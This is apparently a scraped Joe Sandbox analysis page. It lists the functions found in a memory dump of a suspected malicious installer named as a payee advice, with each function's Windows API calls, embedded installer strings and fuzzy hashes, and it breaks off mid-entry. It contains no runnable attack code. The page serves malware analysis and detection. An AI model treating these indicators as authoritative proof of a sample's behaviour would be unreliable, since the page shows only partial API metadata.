Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: CB@$N$open
API String ID: 3615053054-4029390422
Opcode ID: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction ID: ed67d3ceb40554f4a20f9fe4cecdec295417cbe43b6f72f0b7bb3cee00e3d4b7
Opcode Fuzzy Hash: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction Fuzzy Hash: 037173B1A00209BFDB109F64DD45A6A7B69FB84315F00813AF705BA2D0C778AD51DF99

Function 00405C08 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D70,NUL,?,00000000,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C18
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C3C
GetShortPathNameW.KERNEL32(00000000,00425D70,00000400), ref: 00405C45

Part of subcall function 00405ABB: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
Part of subcall function 00405ABB: lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

GetShortPathNameW.KERNEL32(?,00426570,00000400), ref: 00405C62
wsprintfA.USER32 ref: 00405C80
GetFileSize.KERNEL32(00000000,00000000,00426570,C0000000,00000004,00426570,?,?,?,?,?), ref: 00405CBB
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405CCA
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425970,00000000,-0000000A,00409544,00000000,[Rename],00000000,00000000,00000000), ref: 00405D58
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405D6A
GlobalFree.KERNEL32(00000000), ref: 00405D71
CloseHandle.KERNEL32(00000000), ref: 00405D78

Part of subcall function 00405B56: GetFileAttributesW.KERNEL32(00000003,00402DFF,00437800,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Strings

peB, xrefs: 00405C57
[Rename], xrefs: 00405CEA, 00405CFC
%ls=%ls, xrefs: 00405C76
p]B, xrefs: 00405C0D
NUL, xrefs: 00405C12

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$NUL$[Rename]$p]B$peB
API String ID: 1265525490-3322868524
Opcode ID: 3c8f8921d5db17dcea38d37436245cad2ed6acf29c8dc53bbb3a8225ee1bc969
Instruction ID: dd28b8746f6bac9015e409c36d2f5baf321d2fce784c03eddf9b1c2e257c4ca8
Opcode Fuzzy Hash: 3c8f8921d5db17dcea38d37436245cad2ed6acf29c8dc53bbb3a8225ee1bc969
Instruction Fuzzy Hash: 9741E271604B19BBD2216B715C4DF6B3B6CEF41754F14453BBA01B62D2EA3CA8018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281E0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction ID: 126a239e0572de30fb8c34ac70cebce50066b6690b2383a097db7944ba687981
Opcode Fuzzy Hash: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction Fuzzy Hash: DA419A71804249AFCB058FA5DD459BFBFB9FF48310F00802AF951AA1A0C738EA51DFA5

Function 004045CA Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404619
SetWindowTextW.USER32(00000000,?), ref: 00404643
SHBrowseForFolderW.SHELL32(?), ref: 004046F4
CoTaskMemFree.OLE32(00000000), ref: 004046FF
lstrcmpiW.KERNEL32(00427180,004226D0,00000000,?,?), ref: 00404731
lstrcatW.KERNEL32(?,00427180), ref: 0040473D
SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040474F

Part of subcall function 004056AA: GetDlgItemTextW.USER32(?,?,00000400,00404786), ref: 004056BD

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,00403332,00436800,75923420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,00434000,00436800,00436800,00000000,00403332,00436800,75923420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,00436800,00436800,00000000,00403332,00436800,75923420,00403512), ref: 00406208

GetDiskFreeSpaceW.KERNEL32(004206A0,?,?,0000040F,?,004206A0,004206A0,?,00000000,004206A0,?,?,000003FB,?), ref: 00404810
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040482B
SetDlgItemTextW.USER32(00000000,00000400,00420690), ref: 004048B1

Strings

A, xrefs: 004046ED

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A
API String ID: 2246997448-3554254475
Opcode ID: 7bae5448d950fa7fc9b780a264b0000045a755fe0574635acf906d6e28ab15ff
Instruction ID: fc6e5784adbf23f3bf0ca4204261aafad130db7b69f5cfc08d06a9dfd3cb4e02
Opcode Fuzzy Hash: 7bae5448d950fa7fc9b780a264b0000045a755fe0574635acf906d6e28ab15ff
Instruction Fuzzy Hash: 1B916FB2900209ABDB11AFA1CC85AAF77B8EF85354F10847BF701B72D1D77C99418B69

Function 00402DBC Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402DD0
GetModuleFileNameW.KERNEL32(00000000,00437800,00000400), ref: 00402DEC

Part of subcall function 00405B56: GetFileAttributesW.KERNEL32(00000003,00402DFF,00437800,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,00435800,00435800,00437800,00437800,80000000,00000003), ref: 00402E35
GlobalAlloc.KERNEL32(00000040,00409230), ref: 00402F7C

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013
Inst, xrefs: 00402EA3
Null, xrefs: 00402EB5
soft, xrefs: 00402EAC
Error launching installer, xrefs: 00402E0C
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction ID: 37f794aabb7b6cc22e4429bd010eaec377b65274dead3bcbf73b1a6bf24b43e2
Opcode Fuzzy Hash: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction Fuzzy Hash: FB610571940205ABDB20AF65DD89BAE3AB8EB04359F20417BF505B32D1C7BC9E41DB9C

Function 00405F0C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00405FCF
GetSystemDirectoryW.KERNEL32(00427180,00000400), ref: 0040604D
GetWindowsDirectoryW.KERNEL32(00427180,00000400), ref: 00406060
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040609C
SHGetPathFromIDListW.SHELL32(?,00427180), ref: 004060AA
CoTaskMemFree.OLE32(?), ref: 004060B5
lstrcatW.KERNEL32(00427180,\Microsoft\Internet Explorer\Quick Launch), ref: 004060D9
lstrlenW.KERNEL32(00427180,00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00406133

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040601B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060D3

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: 6742d19b0b1c5090879c3cfba661a75a2238e305d4f85b0b169f5eea2b4c5ff0
Instruction ID: 201fcfe404e7502d8ff22bbbb8bc1db0d7d07a9235330109bbd625d5d43c8b09
Opcode Fuzzy Hash: 6742d19b0b1c5090879c3cfba661a75a2238e305d4f85b0b169f5eea2b4c5ff0
Instruction Fuzzy Hash: 93612371A40516EBDB209F24CC44AAF37A5EF00314F51813BE546BA2E0D73D8AA2CB4E

Function 00404196 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041B3
GetSysColor.USER32(00000000), ref: 004041CF
SetTextColor.GDI32(?,00000000), ref: 004041DB
SetBkMode.GDI32(?,?), ref: 004041E7
GetSysColor.USER32(?), ref: 004041FA
SetBkColor.GDI32(?,?), ref: 0040420A
DeleteObject.GDI32(?), ref: 00404224
CreateBrushIndirect.GDI32(?), ref: 0040422E

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 80eb99ce468fafd782bf4c41e5e54efb1aa93a8fb2f83beca87368335cd0d861
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: B221C6B1904744ABCB219F68DD08B4B7BF8AF40710F04896DF951F26E1C738E944CB65

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405BD9: ReadFile.KERNEL32(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: 5bf3696fc1b43342bc1c7e4b21794d67987bb543e605c58fae928a8d5a7d4e33
Instruction ID: 2cb5264777941c8734ead6492e5e892e31f06070e548dc8493562ac8cc7c1c9a
Opcode Fuzzy Hash: 5bf3696fc1b43342bc1c7e4b21794d67987bb543e605c58fae928a8d5a7d4e33
Instruction Fuzzy Hash: B551E971E04209ABDF24DF94DE88AAEB779FF04304F50443BE501B62D0D7B99A42CB69

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction ID: c52f99eb37a0f9a93b384f1dc8ea19ce670fa72408cf6cd502fc0ac50d833161
Opcode Fuzzy Hash: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction Fuzzy Hash: AC31A072C00118BBDF11AFA5CE49DAF7E79EF05364F20423AF510762E1C6796E418BA9

Function 00405194 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: aabeaaca48730acbc73074f8e678aaac97ab8e564c9cd04649984117108eee2c
Instruction ID: f08454111491fc0d39351af24b8902c1f97f976603b555b028d64c931b302e29
Opcode Fuzzy Hash: aabeaaca48730acbc73074f8e678aaac97ab8e564c9cd04649984117108eee2c
Instruction Fuzzy Hash: 42219D71900518BACB119FA5DD84ADFBFB8EF44354F54807AF904B62A0C7798A41DFA8

Function 00402D1A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402D35
GetTickCount.KERNEL32 ref: 00402D53
wsprintfW.USER32 ref: 00402D81

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
ShowWindow.USER32(00000000,00000005), ref: 00402DB3

Part of subcall function 00402CFE: MulDiv.KERNEL32(?,00000064,?), ref: 00402D13

Strings

... %d%%, xrefs: 00402D7B

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction ID: 10fb19a6c4b2eae8d62923eb178f02f9fc5b3c6af7becd3ce095817841e91703
Opcode Fuzzy Hash: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction Fuzzy Hash: 2901A130949220EBD7626B60AF1DAEA3B68EF01704F1445BBF901B11E0C6FC9D01CA9E

Function 00404A5E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A79
GetMessagePos.USER32 ref: 00404A81
ScreenToClient.USER32(?,?), ref: 00404A9B
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AAD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AD3

Strings

f, xrefs: 00404AAF

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: cab112d5f89b67c13374b27971796476edbf79a01bfb7ffc6895eaaae0ed81f2
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: 1C014C71E40219BADB00DB94DD85BFEBBB8AB55715F10012ABB11B61C0C7B4A9018BA5

Function 00402C7F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
wsprintfW.USER32 ref: 00402CD1
SetWindowTextW.USER32(?,?), ref: 00402CE1
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3

Strings

unpacking data: %d%%, xrefs: 00402CBF, 00402CCF
verifying installer: %d%%, xrefs: 00402CC6

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction ID: 78b67de6d16717a489960d5e53e23e1f77e1f7f38f635152e8b2699b13fa448d
Opcode Fuzzy Hash: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction Fuzzy Hash: EAF06270504108ABEF205F50CD4ABAE3768BB00309F00803AFA16B91D0CBF95959DF59

Function 0040317D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403192

Part of subcall function 0040330F: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

SetFilePointer.KERNEL32(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
WriteFile.KERNEL32(0040BE78,?,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
SetFilePointer.KERNEL32(?,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1

Strings

x>A, xrefs: 004031F2

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: x>A
API String ID: 2146148272-3854404225
Opcode ID: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction ID: e2b2982e6b1d623d5d036838b7619e310c478df2cbc778b1b7af49cc7c53be0d
Opcode Fuzzy Hash: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction Fuzzy Hash: 2A41AC72504201DFDB10AF29ED848A63BACFB54315720827FE910B22E0D7799D81DBED

Function 0040617E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

